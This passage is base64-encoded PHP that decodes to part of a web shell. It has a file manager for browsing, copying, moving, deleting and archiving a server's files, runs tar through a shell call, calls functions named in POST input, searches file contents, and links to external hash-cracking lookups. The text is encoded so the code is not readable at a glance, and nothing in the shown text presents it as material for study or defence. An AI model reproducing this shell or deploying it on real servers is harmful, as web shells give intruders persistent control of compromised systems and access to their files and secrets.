CAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX0NPT0tJRVsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJywgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgZXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOw0KCQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQlwcm90b3R5cGUoJ2FjdCcsICRfUE9TVFsncDEnXSk7DQoJCQkJCXByb3RvdHlwZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsNCgkJCQkJcHJvdG90eXBlKCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQogICAgaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7DQoJJGRpckNvbnRlbnQgPSBoYXJkU2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCglpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJztoYXJkRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQ0KCQkJCQkpOw0KCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQoJCWVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7DQoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJigkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgImNtcCIpOw0KCXVzb3J0KCRkaXJzLCAiY21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJJGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iUmVuYW1lIiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJUb3VjaCIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iRnJhbWUiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdmcmFtZVwnKSI+RjwvYT4gPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iRWRpdCIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IkRvd25sb2FkIiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6MTsNCgl9DQoJZWNobyAiPHRyIGlkPWZhaz48dGQgY29sc3Bhbj03Pg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgk8bGFiZWw+PHNlbGVjdCBuYW1lPSdwMSc+IjsNCglpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz7ihrMgUGFzdGU8L29wdGlvbj4iOw0KCWVjaG8gIjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOw0KICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd6aXAnPisgemlwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPi0gemlwPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPisgdGFyLmd6PC9vcHRpb24+IjsNCiAgICBlY2hvICI8L3NlbGVjdD48L2xhYmVsPiI7DQogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pICYmICgoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB8fCAoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSkpDQogICAgICAgIGVjaG8gIiZuYnNwO2ZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSdoYXJkXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCc+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0NCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkge2Z1bmN0aW9uIGJpbmhleCgkcCkge3JldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCgkkc3RyaW5nVG9vbHMgPSBhcnJheSgNCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywNCgkJJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywNCgkJJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLA0KCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsDQoJCSdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywNCgkJJ21kNSBoYXNoJyA9PiAnbWQ1JywNCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkMzMicgPT4gJ2NyYzMyJywNCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsDQoJCSdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLA0KCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsDQoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsDQoJCSdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywNCgkJJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLA0KCQknQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsDQoJCSdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywNCgkJJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsDQoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLA0KCQknSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLA0KCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsDQoJKTsNCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCgkJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7DQoJCW9iX3N0YXJ0KCk7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkNCgkJCWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQlwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCgloYXJkSGVhZGVyKCk7DQoJZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48bGFiZWw+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOw0KCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVjaG8gIjwvc2VsZWN0PjwvbGFiZWw+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCcvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KCX0NCgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+DQoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnPjwvdGQ+PC90cj4NCgkJCTwvdGFibGU+PC9mb3JtPiI7DQoJZnVuY3Rpb24gaGFyZFJlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsNCgkJaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQ0KCQkJJHBhdGguPScvJzsNCgkJJHBhdGhzID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCWlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7DQoJCQlmb3JlYWNoKCRwYXRocyBhcyAk4pafKSB7DQoJCQkJaWYoQGlzX2Rpcigk4pafKSl7DQoJCQkJCWlmKCRwYXRoIT0k4pafKQ0KCQkJCQkJaGFyZFJlY3Vyc2l2ZUdsb2IoJOKWnyk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCTilp8pLCAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgk4pafKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJOKWnykuIjwvYT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoQCRfUE9TVFsncDMnXSkNCgkJaGFyZFJlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOw0KCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2Zha2VuYW1lZ2VuZXJhdG9yLmN